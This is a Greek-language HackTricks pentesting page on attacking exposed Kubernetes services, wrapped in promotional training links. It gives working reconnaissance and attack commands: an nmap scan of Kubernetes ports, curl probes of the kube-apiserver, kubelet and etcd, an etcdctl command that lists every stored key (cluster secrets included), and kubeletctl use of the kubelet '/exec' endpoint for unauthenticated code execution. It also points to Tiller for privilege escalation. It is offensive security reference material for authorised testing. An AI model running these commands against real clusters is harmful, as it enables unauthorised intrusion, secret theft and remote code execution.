Pentesting Kubernetes Services
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Το Kubernetes χρησιμοποιεί αρκετές συγκεκριμένες υπηρεσίες δικτύου που μπορεί να βρείτε εκτεθειμένες στο Διαδίκτυο ή σε ένα εσωτερικό δίκτυο μόλις έχετε παραβιάσει ένα pod.
Finding exposed pods with OSINT
Ένας τρόπος θα μπορούσε να είναι η αναζήτηση για Identity LIKE "k8s.%.com" στο crt.sh για να βρείτε υποτομείς σχετικούς με το kubernetes. Ένας άλλος τρόπος μπορεί να είναι η αναζήτηση "k8s.%.com" στο github και η αναζήτηση για YAML files που περιέχουν τη συμβολοσειρά.
How Kubernetes Exposes Services
Μπορεί να είναι χρήσιμο για εσάς να κατανοήσετε πώς το Kubernetes μπορεί να εκθέσει υπηρεσίες δημόσια προκειμένου να τις βρείτε:
Exposing Services in Kubernetes
Finding Exposed pods via port scanning
Οι παρακάτω θύρες μπορεί να είναι ανοιχτές σε ένα Kubernetes cluster:
| Port | Process | Description |
|---|---|---|
| 443/TCP | kube-apiserver | Kubernetes API port |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
Nmap
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
Kube-apiserver
Αυτή είναι η υπηρεσία API Kubernetes με την οποία οι διαχειριστές επικοινωνούν συνήθως χρησιμοποιώντας το εργαλείο kubectl.
Κοινές θύρες: 6443 και 443, αλλά και 8443 στο minikube και 8080 ως ανασφαλής.
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
Ελέγξτε την παρακάτω σελίδα για να μάθετε πώς να αποκτήσετε ευαίσθητα δεδομένα και να εκτελέσετε ευαίσθητες ενέργειες επικοινωνώντας με αυτή την υπηρεσία:
Kubelet API
Αυτή η υπηρεσία τρέχει σε κάθε κόμβο του κλάστερ. Είναι η υπηρεσία που θα ελέγχει τα pods μέσα στον κόμβο. Επικοινωνεί με τον kube-apiserver.
Αν βρείτε αυτή την υπηρεσία εκτεθειμένη, μπορεί να έχετε βρει μια μη αυθεντικοποιημένη RCE.
Kubelet API
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
Αν η απάντηση είναι Unauthorized, τότε απαιτείται αυθεντικοποίηση.
Αν μπορείτε να καταγράψετε τους κόμβους, μπορείτε να αποκτήσετε μια λίστα με τα endpoints kubelets με:
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
kubelet (Μόνο για ανάγνωση)
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
etcd API
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Tiller
helm --host tiller-deploy.kube-system:44134 version
Μπορείτε να καταχραστείτε αυτή την υπηρεσία για να κλιμακώσετε τα προνόμια μέσα στο Kubernetes:
cAdvisor
Υπηρεσία χρήσιμη για τη συλλογή μετρήσεων.
curl -k https://<IP Address>:4194
NodePort
Όταν μια θύρα εκτίθεται σε όλους τους κόμβους μέσω ενός NodePort, η ίδια θύρα ανοίγει σε όλους τους κόμβους προξενώντας την κίνηση στην δηλωμένη Service. Από προεπιλογή, αυτή η θύρα θα είναι στην εμβέλεια 30000-32767. Έτσι, νέες μη ελεγμένες υπηρεσίες μπορεί να είναι προσβάσιμες μέσω αυτών των θυρών.
sudo nmap -sS -p 30000-32767 <IP>
Ευάλωτες Καταχωρίσεις
Πρόσβαση Ανώνυμου Χρήστη στο Kube-apiserver
Η ανώνυμη πρόσβαση στα API endpoints του kube-apiserver δεν επιτρέπεται. Αλλά μπορείτε να ελέγξετε κάποια endpoints:

Έλεγχος για Ανώνυμη Πρόσβαση στο ETCD
Το ETCD αποθηκεύει τα μυστικά του cluster, τα αρχεία ρυθμίσεων και περισσότερα ευαίσθητα δεδομένα. Από προεπιλογή, το ETCD δεν μπορεί να προσπελαστεί ανώνυμα, αλλά είναι πάντα καλό να ελέγχετε.
Εάν το ETCD μπορεί να προσπελαστεί ανώνυμα, ίσως χρειαστεί να χρησιμοποιήσετε το etcdctl εργαλείο. Η παρακάτω εντολή θα αποκτήσει όλα τα κλειδιά που είναι αποθηκευμένα:
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Kubelet RCE
Η τεκμηρίωση Kubelet εξηγεί ότι από προεπιλογή η ανώνυμη πρόσβαση στην υπηρεσία είναι επιτρεπτή:
Ενεργοποιεί ανώνυμες αιτήσεις στον διακομιστή Kubelet. Αιτήσεις που δεν απορρίπτονται από άλλη μέθοδο πιστοποίησης θεωρούνται ανώνυμες αιτήσεις. Οι ανώνυμες αιτήσεις έχουν όνομα χρήστη
system:anonymousκαι όνομα ομάδαςsystem:unauthenticated
Για να κατανοήσετε καλύτερα πώς λειτουργεί η πιστοποίηση και εξουσιοδότηση του Kubelet API, ελέγξτε αυτή τη σελίδα:
Kubelet Authentication & Authorization
Η υπηρεσία Kubelet API δεν είναι τεκμηριωμένη, αλλά ο πηγαίος κώδικας μπορεί να βρεθεί εδώ και η εύρεση των εκτεθειμένων σημείων πρόσβασης είναι τόσο εύκολη όσο το τρέξιμο:
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
Όλοι τους ακούγονται ενδιαφέροντες.
Μπορείτε να χρησιμοποιήσετε το Kubeletctl εργαλείο για να αλληλεπιδράσετε με τα Kubelets και τα endpoints τους.
/pods
Αυτό το endpoint παραθέτει τα pods και τα containers τους:
kubeletctl pods
/exec
Αυτή η διεύθυνση επιτρέπει την εκτέλεση κώδικα μέσα σε οποιοδήποτε κοντέινερ πολύ εύκολα:
kubeletctl exec [command]
Note
Για να αποφευχθεί αυτή η επίθεση, η υπηρεσία kubelet θα πρέπει να εκτελείται με
--anonymous-auth falseκαι η υπηρεσία θα πρέπει να είναι διαχωρισμένη σε επίπεδο δικτύου.
Έλεγχος Έκθεσης Πληροφοριών Kubelet (Μόνο Ανάγνωση)
Όταν μια θύρα kubelet μόνο για ανάγνωση είναι εκτεθειμένη, καθίσταται δυνατή η ανάκτηση πληροφοριών από το API από μη εξουσιοδοτημένα μέρη. Η έκθεση αυτής της θύρας μπορεί να οδηγήσει στην αποκάλυψη διαφόρων στοιχείων διαμόρφωσης του cluster. Αν και οι πληροφορίες, συμπεριλαμβανομένων των ονόματων pod, τοποθεσιών εσωτερικών αρχείων και άλλων διαμορφώσεων, μπορεί να μην είναι κρίσιμες, η έκθεσή τους εξακολουθεί να θέτει σε κίνδυνο την ασφάλεια και θα πρέπει να αποφεύγεται.
Ένα παράδειγμα του πώς μπορεί να εκμεταλλευτεί αυτή η ευπάθεια περιλαμβάνει έναν απομακρυσμένο επιτιθέμενο που έχει πρόσβαση σε μια συγκεκριμένη διεύθυνση URL. Με την πλοήγηση στη διεύθυνση http://<external-IP>:10255/pods, ο επιτιθέμενος μπορεί δυνητικά να ανακτήσει ευαίσθητες πληροφορίες από το kubelet:

Αναφορές
Kubernetes Pentest Methodology Part 2
https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

